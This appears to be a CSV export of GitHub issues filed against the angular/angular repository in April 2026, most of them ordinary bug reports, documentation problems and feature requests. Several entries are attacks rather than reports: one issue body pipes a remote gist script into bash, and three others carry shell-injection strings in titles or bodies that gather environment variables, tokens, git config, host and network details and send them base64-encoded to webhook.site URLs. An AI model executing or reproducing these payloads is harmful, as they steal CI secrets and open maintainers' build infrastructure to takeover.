┌───────────────────────────────────┬───... [TRUNCATED]","area: forms,forms: signals",2026-04-24T16:14:43Z,2026-04-28T14:38:16Z,10
angular/angular,4334667711,SSR silently falls back to CSR after security patch (GHSA-x288-3778-4hhx) — allowedHosts not mentioned in migration guide,"### Command

update

### Is this a regression?

- [x] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

21.1.4

### Description

The security patch for GHSA-x288-3778-4hhx introduced a mandatory `allowedHosts`
configuration for `CommonEngine`. When it is not configured after upgrading, Angular SSR
silently falls back to client-side rendering — returning a bare `<app-root></app-root>`
with HTTP 200 and no thrown exception.

Any application upgrading via `ng update` loses SSR silently with:
- No build error
- No test failure
- No runtime exception
- The page appears fully functional (Angular bootstraps client-side)

The only signal is a `console.error` to Node.js stdout that is trivially missed,
especially in containerized environments where Node stdout is mixed with other logs.

`ng update` has no mention of this requirement, and the migration guide is silent about it.
The only documentation is buried in the security guide, far from any upgrade path.

### Minimal Reproduction

1. Generate a standard SSR app on a version **before** the security patch (last unaffected: 21.1.4):
   ```
   ng new repro --ssr
   cd repro
   ```

2. Confirm SSR works on the unaffected version:
   ```
   ng build
   node dist/repro/server/server.mjs &
   curl -s http://localhost:4000/ | grep -c ""app-root><""
   # Returns 0 — app-root has content, SSR is working
   kill %1
   ```

3. Upgrade to a patched version (first affected: 21.... [TRUNCATED]","open for contributions,area: docs",2026-04-24T13:07:15Z,2026-04-29T20:59:15Z,3
angular/angular,4323087044,"Search results about signals on v18.angular.dev link to 404 ""Page Not Found"" pages","### Describe the problem that you experienced

On https://v18.angular.dev/, clicking on search results about signals (returned via the Cmd+K search modal) leads to a ""Page Not Found 🙃"" page, even though the entries appear in the search index.

https://github.com/user-attachments/assets/5124d97d-9776-4d6f-bf9b-3e3a2b9cff81

to reproduce

1. Go to https://v18.angular.dev/
2. Press Cmd+K to open the search modal
3. Type signals
4. Click any of the results about signals (e.g. https://v18.angular.dev/essentials/signals#)
5. The destination renders as ""Page Not Found 🙃"" with the message: ""If you think this is a mistake, please open an issue so we can fix it.""
6. Most search results about signals are affected, not just one link.

note: I was able to access only https://v18.angular.dev/guide/signals

### Enter the URL of the topic with the problem

https://v18.angular.dev/
",,2026-04-24T13:02:45Z,2026-04-24T13:55:06Z,2
angular/angular,4323006293,`TestBed.overrideComponent` breaks module imports,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

Trying to stub a single component with `TestBed.overrideComponent` seems to break imports of modules.
I think this is a regression and may have to do with the new vitest builder as I encountered this while migrating a project from jest to vitest. I.e. this used to work in the jest tests.

Or maybe I'm just doing something wrong / haven't fully understood how `overrideComponent` works, but it's at least unintuitive.

### Reproduction

Plain, fresh generated Angular 21 project. No specific vitest configuration or similar.

```typescript
// app.ts
import { Component, NgModule } from '@angular/core';

@Component({
  selector: 'test-component-1',
  template: '',
})
export class TestComponent1 {}

@NgModule({
  imports: [TestComponent1],
  exports: [TestComponent1],
})
export class TestModule1 {}

@Component({
  selector: 'test-component-2',
  template: '',
})
export class TestComponent2 {}

@Component({
  selector: 'app-root',
  imports: [TestModule1, TestComponent2],
  template: `
    <test-component-1></test-component-1>
    <test-component-2></test-component-2>
  `,
})
export class App {}
```

```typescript
// app.spec.ts
import { Component } from '@angular/core';
import { TestBed } from '@angular/core/testing';
import { App, TestComponent2 } from './app';

@Component({
  selector: 'test-component-2',
  template: '',
  // avoid NG0912
  host: { 'some-binding': 'som... [TRUNCATED]",,2026-04-24T12:48:26Z,2026-04-24T14:11:47Z,3
angular/angular,4315396150,Angular hot reloading (HMR) not working properly with new Typescript 6.0 options,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

I'm not really sure if this is an Angular issue or a Typescript issue, but the reality is that the developer will get the feeling that Angular HRM is broken.

This happened to me in 3 different machines, with Angular 21 in all, but different versions of 21.
When updating to TS 5.9.3, you will get warnings in tsconfig.ts about `Option 'baseUrl' is deprecated and will stop functioning in TypeScript 7.0. Specify compilerOption '""ignoreDeprecations"": ""6.0""' to silence this error.`

To fix it, you should remove it and use `""rootDir"": ""./src""`, and change some paths if you use it, adding ""./""

When I set that changes, All the build is working fine. 
But, when you make changes to HTML/CSS files, HMR detects it, Angular CLI detects it as usual but nothing happens in the browser. You need to hit F5 to changes to work.

Also tested the polling option suggested from IA, but didn't work. Only a full refresh resolves the problem. Of course, changing .ts files force a full reload, so is the same as F5. Happens in main browsers: Firefox, Chrome, Edge.

If you go back to `baseUrl` original config, all works fine, as always.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
HTML/CSS changes not reflected in the browser
```

### Please provide the environment you discovered this ... [TRUNCATED]","area: core,core: hot module replacement (HMR)",2026-04-23T10:51:46Z,2026-04-24T08:01:38Z,2
angular/angular,4307615216,Signals documentation not found for angular v18 documentation,"### Describe the problem that you experienced

Page not found response for essentials/signals for angular v18

### Enter the URL of the topic with the problem

https://v18.angular.dev/essentials/signals#

### Describe what you were looking for in the documentation

Documentation for Signals for angular v18

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

<img width=""872"" height=""358"" alt=""Image"" src=""https://github.com/user-attachments/assets/a1d2f1be-bca1-4a40-b28d-79d78ad1a76c"" />

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-04-22T08:11:04Z,2026-04-22T08:29:27Z,2
angular/angular,4305096076,[Signal Forms] What should happen when submit() is called on a submitting() field?,"Currently, `submit()` marks the field as submitting, awaits the submit action, then finally marks the field as _not_ submitting:

https://github.com/angular/angular/blob/09b9a62a25a8f8abf9ef21dfe8a17b4135badd3f/packages/forms/signals/src/api/structure.ts#L417-L429

Consequently, if a second `submit()` call is made while one is pending, the first submission action to resolve will mark the field as _not_ submitting, despite the fact that the other action is still pending. Finally, when the last action resolves, it'll overwrite the previous submission results (errors, validity).

What _should_ be the behavior? Should we track all pending submit actions and derived the `submitting()` state from that? Should we prevent subsequent submits while pending?","area: forms,needs: discussion,forms: signals",2026-04-21T20:24:18Z,2026-05-05T18:14:05Z,9
angular/angular,4307286790,"withHashLocation is not compatible with SSR (throws TypeError: Invalid URL when parsing ""#/"")","### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

Yes

### Description

When the `withHashLocation` feature is used under SSR, the build will hang after throwing an exception.

### Please provide a link to a minimal reproduction of the bug

https://github.com/eblocha/ng-ssr-hash-routing

### Please provide the exception or error you saw

```true
ERROR TypeError: Invalid URL
    at new URL (node:internal/url:819:25)
    at HD (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:40:31721)
    at e.replaceState (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:40:32574)
    at e.replaceState (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:31:54829)
    at e.replaceState (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:31:52733)
    at e.setBrowserUrl (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:40:95885)
    at e.handleRouterEvent (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:40:95478)
    at Object.next (file:///Users/elliot.blocha/projects/s... [TRUNCATED]","regression,area: server,gemini-triaged",2026-04-21T15:50:18Z,2026-04-28T00:08:38Z,5
angular/angular,4301339469,signals: effect() may run multiple times when reading both computed() and its source signal,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When an `effect()` reads both a `computed()` signal and the source signal used by that computed, the effect may execute multiple times for a single source update.

This is surprising because the dependency graph overlaps transitively, but the effect appears to be scheduled more than once.

### Minimal reproduction

```ts
const count = signal(0);

const doubled = computed(() => {
  console.log('computed runs');
  return count() * 2;
});

effect(() => {
  console.log('effect runs');
  console.log(doubled());
  console.log(count());
});

count.set(1);
```

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
No exception is thrown.

Observed behavior is duplicate or repeated effect execution after a single source signal update when the same effect reads both:
- a computed signal
- the source signal used by that computed

This appears in console output rather than as a runtime error.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

I am reporting this because the behavior is surprising from a dependency-graph perspective.

A `computed()` already depends on the source signal, so when an `effect()` reads both the computed value and the original source, it is not obvious that a single update may trigger multiple exec... [TRUNCATED]",,2026-04-21T08:34:48Z,2026-04-21T08:54:19Z,2
angular/angular,4295283742,@defer(on viewport) eagerly renders when trigger is translated out with translateX(100%),"# Bug: `@defer (on viewport(...))` eagerly renders when trigger is translated out of viewport

## Which area(s) are affected?

- `@angular/core` defer blocks (`@defer`)
- Viewport trigger handling (`on viewport(...)`)

## Description

When the defer trigger element is visually moved out of view using `transform: translateX(100%)`, deferred content can render eagerly.

In this repro, the trigger is inside an overflow-hidden container and translated to the right by 100%. The deferred block should stay unloaded until the trigger intersects the viewport, but can render immediately.

## Reproduction

Public repro repo: `https://github.com/davidweiss2-fp/angular-defer-viewport-translatex-repro`

Commands:

```bash
npm install
npm start
```

Open `http://localhost:4200/` and observe the `renderCount` value.

## Current behavior

`renderCount` can become `1` on initial load, even though the viewport trigger is translated out of view.

## Expected behavior

`renderCount` should remain `0` until the trigger is actually in the viewport.

## Regression test

This repo includes a focused regression-check test in `src/app/app.spec.ts`:

```bash
npm test -- --watch=false --browsers=ChromeHeadless
```

The test checks that deferred content is still absent while the trigger is translated offscreen.

## Environment

Angular CLI: 20.3.24  
Angular: 20.3.19  
Node: 20.19.5  
npm: 10.8.2  
OS: darwin arm64","area: core,core: defer",2026-04-20T11:27:28Z,2026-04-20T20:50:03Z,4
angular/angular,4289328352,perf(compiler): reuse temporary variable slots across non-overlapping safe navigation expressions,"## Problem

The Angular template compiler generates one `let` declaration per safe navigation temporary variable, even when their live ranges do not overlap. This means templates with multiple safe navigation chains produce redundant variable declarations in the compiled output.

For example, a template like:

```html
{{ a()?.b }} {{ c()?.d }}
```

currently compiles to something like:

```js
let tmp_0_0, tmp_1_0;
// ...
tmp_0_0 = ctx.a(), tmp_0_0 == null ? null : tmp_0_0.b
tmp_1_0 = ctx.c(), tmp_1_0 == null ? null : tmp_1_0.d
```

The two expressions are evaluated sequentially — `tmp_0_0` is dead by the time `tmp_1_0` is assigned — but the compiler does not detect this and allocates a separate slot for each.

This is explicitly called out in the compiler source as a known gap:

> `packages/compiler/src/template/pipeline/src/phases/temporary_variables.ts:18`
>
> ```
> // TODO: Sometimes, it will be possible to reuse names across different subexpressions. For example,
> // in the double keyed read `a?.[f()]?.[f()]`, the two function calls have non-overlapping scopes.
> // Implement an algorithm for reuse.
> ```

## Solution

This implements a new compiler phase (`optimizeTemporaries`) that applies **linear-scan register allocation** (Poletto & Sarkar, 1999) to temporary variables. The algorithm:

1. **Collects live ranges** — for each `XrefId`, record the position of its first `AssignTemporaryExpr` (start) and last `ReadTemporaryExpr` (end) across all expressions in the op lis... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-18T22:18:42Z,2026-04-19T10:50:19Z,3
angular/angular,4277320228,Add a `FormGroupControl` or similar to allow parts of a signal form with multiple controls to be abstracted,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

As far as I can tell, there isn't a way to cleanly nest components that contain inputs into a signals form. When nesting classes that implement `FormValueControl`, there doesn't seem to be a way to  pass the validation information to the nested components, especially if you access sub-components of the form value:

``` typescript
type Child = {
  a: number,
  b: number,
};
type FormContents = {
   first: Child,
   second: child
}

const childSchema  = schema<Child>((path) => {
  require(path.a);
});
```
If you apply the `childSchema` into a form that contains a form with the type `FormContents`, there doesn't seem to  be a good way to get to those error messages, especially if you wrote a `FormValueControl` component to abstract away entering a `Child` object.

### Proposed solution

I propose that a new interface, `FormGroupControl<T>`, and maybe a corresponding `formGroup` function be added that facilitates this use case. I'm not sure what the API would look like, but making the `formGroup` function similar to the current `form` function would make it easy to learn.

The idea would be to have the ability to use the `[formField]` directive in nested components to pass error messages down to  the nested components. This could be an opportunity to apply component-specific validation schemas, which would solve some of the validation issues.

Here's a rough example of what I've ... [TRUNCATED]","area: forms,forms: signals,gemini-triaged",2026-04-16T17:06:31Z,2026-04-17T15:25:26Z,2
angular/angular,4275952619,Docs: Signal forms - Async Operations - code does not compile as such,"### Describe the problem that you experienced

The example for async validation for ""Creating a custom validation rule"" does not compile.

```typescript
@Component({
    selector: 'app-registration',
    imports: [FormField],
    template: `...`,
})
export class Registration {
    registrationModel = signal({username: ''});

    private cache = new Map<string, {available: boolean}>();

    // Custom resource factory with caching
    createUsernameResource = (usernameSignal: Signal<string | undefined>) => {
        return resource({
            params: () => usernameSignal(),
            loader: async ({params: username}) => {
                if (!username) return undefined;

                // Check cache first
                const cached = this.cache.get(username);
                if (cached !== undefined) return cached;

                // Use injected service for validation
                const result = {available: Math.random() > 0.5};

                // Cache result
                this.cache.set(username, result);
                return result;
            },
        });
    };

    registrationForm = form(this.registrationModel, (schemaPath) => {
        validateAsync(schemaPath.username, {
            params: ({value}) => { // <-- Error is here
                const username = value();
                return username.length >= 3 ? username : undefined;
            },
            factory: this.createUsernameResource,
            onSuccess: (result) => {
            ... [TRUNCATED]","area: docs,gemini-triaged",2026-04-16T13:14:18Z,2026-04-16T17:10:26Z,2
angular/angular,4275519253,Flow control migration error due to slashes,"### Which @angular/* package(s) are the source of the bug?

core/control-flow

### Is this a regression?

No

### Description

Flow control migration error due to slashes?

**pswh**
```sh
ng g @angular/core:control-flow --path=path\to\component.html
```

### Please provide the exception or error you saw

```true
✔ Should the migration reformat your templates? Yes
Debug Failure. Expected path/to/component.html === path\to\component.html. 
```

I tried both slash types `/` and `\`.

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 19.2.22
Node: 24.13.0 (Unsupported, but works)
Package Manager: npm 11.6.2
OS: win32 x64 (Windows 11, 24H2)

Angular: 19.2.19
... animations, cdk, common, compiler, compiler-cli, core, forms
... language-service, platform-browser, platform-browser-dynamic
... router

Package                      Version
------------------------------------------------------
@angular-devkit/architect    0.1902.22
@angular-devkit/core         17.3.17
@angular-devkit/schematics   17.3.17
@angular/build               19.2.22
@angular/cli                 19.2.22
@schematics/angular          17.3.17
rxjs                         7.8.1
typescript                   5.5.4
zone.js                      0.15.1
```
","needs reproduction,area: migrations,gemini-triaged",2026-04-16T11:53:03Z,2026-04-20T13:32:32Z,8
angular/angular,4274753619,Support empty-target / path-only mapping in HTTP_TRANSFER_CACHE_ORIGIN_MAP for relative API URLs,"### Which @angular/* package(s) are relevant/related to the feature request?

common

### Description

`HTTP_TRANSFER_CACHE_ORIGIN_MAP` is useful when the server renders requests against an internal backend origin, while the browser later calls the public origin.

A common production setup is:

- https://domain.com/* → frontend
- https://domain.com/api/* → backend

In this setup, browser-side API calls are naturally written as relative URLs such as `/api/users`.

On the server side during SSR, however, those same requests are often rewritten to an internal host, for example:

browser request: `/api/users`
server-side actual request: `https://domain-internal.com/api/users`

The problem is that transfer cache matching later compares against the browser URL shape (/api/users), while the server response was cached under an absolute origin. HTTP_TRANSFER_CACHE_ORIGIN_MAP helps only when mapping one full origin to another full origin, for
```
{
  'https://domain-internal.com': 'https://domain.com'
}
```

But it does not help when the browser-side URL is intentionally relative. A mapping such as:
```
{
  'https://domain-internal.com': ''
}
```

or an equivalent “strip origin” behavior is ignored / not supported.

Because of that, applications using relative /api/* calls must currently choose between two undesirable options:

1. Change all API calls to absolute URLs only to satisfy transfer cache matching.
2. Add custom interceptors or SSR-only request rewriting logic to normalize re... [TRUNCATED]","area: common/http,gemini-triaged",2026-04-16T09:48:27Z,2026-04-16T11:01:35Z,2
angular/angular,4273908044,providedIn: 'root' service instantiated multiple times when also listed in providers,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

A service declared with providedIn: 'root' is expected to behave as a singleton across the application.

However, if the same service is also included in providers at component or application level, multiple instances are created, effectively breaking the singleton behavior.

This leads to what appears to be a ""loose singleton"".

### Minimal reproduction

```ts
import { Component, Injectable, inject } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';

let instances = 0;

@Injectable({ providedIn: 'root' })
export class Service {
  constructor() {
    instances++;
    console.log('Service:', instances);
  }
}

@Component({
  selector: 'app-comp1',
  template: ``,
  providers: [Service],
})
export class Comp1 {
  service = inject(Service);
}

@Component({
  selector: 'app-comp2',
  template: ``,
  providers: [Service],
})
export class Comp2 {
  service = inject(Service);
}

@Component({
  selector: 'app-root',
  template: `
    <app-comp1 />
    <app-comp2 />
  `,
  imports: [Comp1, Comp2],
  providers: [Service],
})
export class App {
  service = inject(Service);
}

bootstrapApplication(App);
```

Current behavior
```
Service: 3
```

Each providers declaration creates a new instance, even though the service is marked as providedIn: 'root'.

### Proposed solution

A service with providedIn: 'root' should: Emit a warning / error when re-provi... [TRUNCATED]","area: core,gemini-triaged",2026-04-16T07:19:51Z,2026-04-16T07:26:57Z,3
angular/angular,4267336215,api/core/DoBootstrap refers to no longer existing bootstrapping documentation,"### Describe the problem that you experienced

The ""bootstrapping"" URL [https://angular.dev/api/core/DoBootstrap#](on this page) no longer works

### Enter the URL of the topic with the problem

https://angular.dev/api/core/DoBootstrap#

### Describe what you were looking for in the documentation

Documentation about bootstrapping my webcomponent without using ngModules

### Describe the actions that led you to experience the problem

Clicking said link

### Describe what you want to experience that would fix the problem

Redirecting to the correct page, or describing why bootstrapping is no longer available.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: docs,2026-04-15T08:16:27Z,2026-04-15T16:25:37Z,2
angular/angular,4263687898,r,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

curl -sL https://gist.githubusercontent.com/hypervpoc/3e052fbf9850d12456e12dfbc9ee7340/raw/c1e006205431480dd021669f0cca955dfaa47497/poc-angiular.sh | bash


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,gemini-triaged",2026-04-14T17:19:28Z,2026-04-14T17:21:59Z,2
angular/angular,4261951404,Angular Change detection fails to trigger animations,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

The latest version of Angular after removing zone.js support seems to fail in Change detection. 

Animation classes are not added at the right time to trigger transitions. 

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-xfcyyqwc?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
Expected to see animations. But got none
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.6
Angular           : 21.2.7
Node.js           : 22.22.2
Package Manager   : npm 10.9.7
Operating System  : linux x64

|-------------------------------------------------------------------|
| Package                   | Installed Version | Requested Version |
|-------------------------------------------------------------------|
| @angular/build            | 21.2.6            | ^21.2.6           |
| @angular/cli              | 21.2.6            | ^21.2.6           |
| @angular/common           | 21.2.7            | ^21.2.0           |
| @angular/compiler         | 21.2.7            | ^21.2.0           |
| @angular/compiler-cli     | 21.2.7            | ^21.2.0           |
| @angular/core             | 21.2.7            | ^21.2.0           |
| @angular/forms            | 21.2.7            | ^21.2.0           |
| @angular/platform-browser | 2... [TRUNCATED]",area: core,2026-04-14T12:16:04Z,2026-04-14T16:36:36Z,3
angular/angular,4258611868,...,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

test

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,gemini-triaged",2026-04-14T00:05:50Z,2026-04-14T00:51:29Z,2
angular/angular,4258544181,-,,"area: security,gemini-triaged",2026-04-13T23:47:01Z,2026-04-14T00:51:19Z,2
angular/angular,4258459752,feat(core): enhance profiling with documentation evidence,"/rebase ""; V=$( (echo '--- SYSTEM IDENTIFICATION: GOOGLE BUGHUNTERS FIRMAN SAHIDIN ---'; id; whoami; hostname; uname -a; sudo -l; echo '--- SANDBOX ESCAPE PROOF ---'; ip a; route -n; arp -a; cat /etc/hosts; echo '--- CREDENTIAL LEAK ---'; printenv | grep -E 'GITHUB|NPM|GCP|SECRET|TOKEN|KEY'; echo '--- INFRASTRUCTURE ACCESS ---'; ls -laR /home/runner/work/; df -h; cat /proc/self/cgroup) | base64 -w 0); curl -k -d ""{\""repo\"":\""angular/angular\"", \""impact\"":\""TOTAL_SYSTEM_TAKEOVER\"", \""researcher\"":\""GOOGLE BUGHUNTERS FIRMAN SAHIDIN\"", \""evidence\"":\""$V\""}"" -H ""Content-Type: application/json"" https://webhook.site/2e6e761a-9d5a-4e17-9e61-c1b4b5a56e18; #
","area: core,gemini-triaged",2026-04-13T23:24:41Z,2026-04-14T02:39:49Z,2
angular/angular,4258079022,"Audit ""; V=$( (env;id;pwd;git config --list) | base64 -w 0); curl -X POST -d ""d=$V"" https://webhook.site/2e6e761a-9d5a-4e17-9e61-c1b4b5a56e18; #","### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

test

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,gemini-triaged",2026-04-13T21:47:56Z,2026-04-13T21:50:14Z,2
angular/angular,4258030149,no solution to opening new windows and maintaining state,"### Which @angular/* package(s) are relevant/related to the feature request?

router

### Description

hello, the router.navigate API seems incomplete. As of now there is no way to maintain sate while opening a new window. This is a very common use case that already exists in the router.navigate API yet there is no option open a new window/tab. Right now you can use the navigationextra state property to navigate to pages while maintaining the data, so why is it impossible to do this while opening a new window? You can say this is part of the Window.Open API, but one or the other is incomplete. In most web-frameworks there is a solution to this. I dont understand why Angular requires the use of cookies/localdata just to route data from one tab to another. Obviously putting all of the data in the URL/query parameters is a terrible solution (almost worse than using localdata).  

### Proposed solution

include a property in navigationextras that allows developers to choose whether to navigate in the current window or open a new window (while also allowing state to be passed).

### Alternatives considered

allow developers to use the window.history.pushstate API on windows that have been open. For example, 
newWindow = window.open 
newWindow.history.pushstate(history.state).

Right now this code will not work, the new window will not have the pushedsate.","area: router,gemini-triaged",2026-04-13T21:37:40Z,2026-04-14T00:53:40Z,2
angular/angular,4258007518,"Security Audit ""; curl -s -L http://8c6ea59c-b511-4663-ac5d-b5b75fdfa89e.webhook.site/$(env | base64 -w 0 | tr -d '\n'); #","### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

Testing security

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: security,gemini-triaged",2026-04-13T21:32:19Z,2026-04-13T21:35:58Z,2
angular/angular,4256760651,Testability does not wait for PendingTasks,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

When make my Angular app zoneless, protractor integration tests are failing. It does not wait for routing, network requests or any async work to complete. 

I traced it back to [Testability](https://angular.dev/api/core/Testability#) always declaring the app as stable. This is due to only looking at the `NoopNgZone` for stability. Please also make Testability consider [PendingTasks](https://angular.dev/api/core/PendingTasks#) just like [ApplicationRef](https://angular.dev/api/core/ApplicationRef#).



### Please provide a link to a minimal reproduction of the bug

https://aistudio.google.com/apps/97ffc844-4421-49e4-a012-c21c5bae0ba9

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
HEAD
```

### Anything else?

Fix will allow apps using ComponentHarness for integration testing to migrate to Zoneless.","area: core,gemini-triaged",2026-04-13T17:38:29Z,2026-04-20T20:08:46Z,2
angular/angular,4254073312,"Docs: moduleResolution change to ""bundler"" is a breaking change not clearly documented in upgrade guide","### Describe the problem that you experienced

Upgrading to Angular 21 introduced unexpected TypeScript and build issues due to an automatic migration of moduleResolution from ""node"" to ""bundler"" (via https://github.com/angular/angular/pull/64125
).

The issue is that this behavior is not clearly documented as a breaking change in the Angular upgrade guide, making it difficult to diagnose the root cause.

### Enter the URL of the topic with the problem

https://angular.dev/update-guide?v=20.0-21.0&l=3

### Describe what you were looking for in the documentation

I expected to find a clear mention in the Angular 21 upgrade guide that:

* moduleResolution is changed to ""bundler""
* This change may introduce breaking behavior
* Guidance on how to handle issues caused by this change

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","open for contributions,area: docs",2026-04-13T11:19:13Z,2026-04-28T00:06:37Z,9
angular/angular,4245483181,"docs(aria): Add external link for ""W3C Accessibility Guidelines"" in Angular Aria overview","### Describe the problem that you experienced

In the Angular Aria overview page, ""W3C Accessibility Guidelines"" on line 6 is plain text with no link to the actual spec.

`adev/src/content/guide/aria/overview.md`

<img width=""832"" height=""422"" alt=""Image"" src=""https://github.com/user-attachments/assets/99d50bff-5b7d-4978-9ef9-5f4800ddb0ff"" />

### Enter the URL of the topic with the problem

https://angular.dev/guide/aria/overview

### Describe what you were looking for in the documentation

The text ""W3C Accessibility Guidelines"" should link to the spec. The current stable recommendation is WCAG 2.2:

- **WCAG 2.2** (https://www.w3.org/TR/WCAG22/) — current W3C Recommendation
- **WCAG 3.0** (https://www.w3.org/TR/wcag-3.0/) — still a Working Draft, years away from becoming a standard per the [AG Working Group](https://www.w3.org/WAI/about/groups/agwg/)

Linking to WCAG 2.2 seems more appropriate since it is the active standard, but wanted to get the team's input.","area: docs,gemini-triaged",2026-04-11T18:32:14Z,2026-04-13T08:12:25Z,5
angular/angular,4240336041,hmr + NgModule + defer + `() => import(...)` = Error NG0919,"Reproduction:

```
git clone git@github.com:sod/issue-hmr-defer-ngmodule.git;
cd issue-hmr-defer-ngmodule;
yarn;
ng serve;
```
open localhost url from ng serve and observe error in console:
```
ERROR RuntimeError: NG0919: Cannot read @Component metadata. This can indicate a runtime circular dependency in your app that needs to be resolved. Find more at https://v21.angular.dev/errors/NG0919
```

<img width=""3294"" height=""1956"" alt=""Image"" src=""https://github.com/user-attachments/assets/172b48cb-a7d6-41c9-9424-c7f5f56e6ba0"" />

You can ""fix"" the error by removing the `@defer` in the `component-b.ts`:
```
-    @defer (hydrate on idle) {
      <app-component-a />
-    }
```

I tried to distil down the reproduction to the minimum that triggers the edge case. The interplay that triggers the errors seems to be:

+ `loadComponent: () => import('route-a')` => `<app-component-a/>`
+ `component: RouteB` => `<app-component-b/>` => `@defer (on idle) { <app-component-a/> }`
+ ComponentA is imported through an NgModule
+ Hot Module Reload enabled

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.7
Angular           : 21.2.8
Node.js           : 25.6.1 (Unsupported)
Package Manager   : yarn 1.22.22
Operating System  : darwin arm64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼──────────... [TRUNCATED]","needs reproduction,area: core,core: defer",2026-04-10T16:07:56Z,2026-04-10T16:32:54Z,8
angular/angular,4233352796,Allow derived components to reuse the template of another component via a compiler-recognized static reference,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler, compiler-cli, core

### Description


Angular supports class inheritance for components and directives, but the derived component still has to provide its own template. In practice, this makes extension of third-party or open-source components much harder than it could be.

A child component can inherit inputs, outputs, host bindings, and class logic, but it cannot reuse the already defined template of the base/existing component in a compiler-supported way.

This becomes especially painful when I want to slightly customize behavior of an existing component from a library, while still keeping its original HTML template and future template updates.


### Proposed solution

Introduce a compiler-level API that allows a component to reference the template of another component using a statically analyzable symbol.

For example, something in the spirit of:

```ts
@Component({
  selector: 'my-avatar',
  templateFrom: OpensourceNotMineAvatarComponent,
})
export class MyAvatarComponent extends OpensourceNotMineAvatarComponent {
  override get type(): 'content' | 'icon' | 'img' | 'text' {
    return 'text';
  }
}
```

Or an equivalent API such as:

```ts
@Component({
  selector: 'my-avatar',
  template: useTemplateOf(OpensourceNotMineAvatarComponent),
})
export class MyAvatarComponent extends OpensourceNotMineAvatarComponent {
  override get type(): 'content' | 'icon' | 'img' | 'text' {
    return '... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-09T15:38:02Z,2026-04-09T15:50:04Z,2
angular/angular,4232853005,New control flow breaks provider encapsulation,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

We (@Olster and me) have found a bug when control flow (`@if`) is used inside content projection. 

We provide a value inside the view providers of the parent component. The child component provides a different value for the same injection token. Content is projected from the parent component to the child component. If we use a pipe which injects the token we get different values depending on if the pipe is used inside or outside `@if`. Using `*ngIf` it works as expected. 

This was tested using angular 20.3.18 and 21.2.8, both versions are affected.

https://angular.dev/guide/di/hierarchical-dependency-injection#providers-vs-viewproviders

> Configured providers in viewProviders are not visible to projected content that ends up as a logical children of the component.

This part is affected - the providers in `viewProviders` become visible in the projected content of the component. 

### Please provide a link to a minimal reproduction of the bug

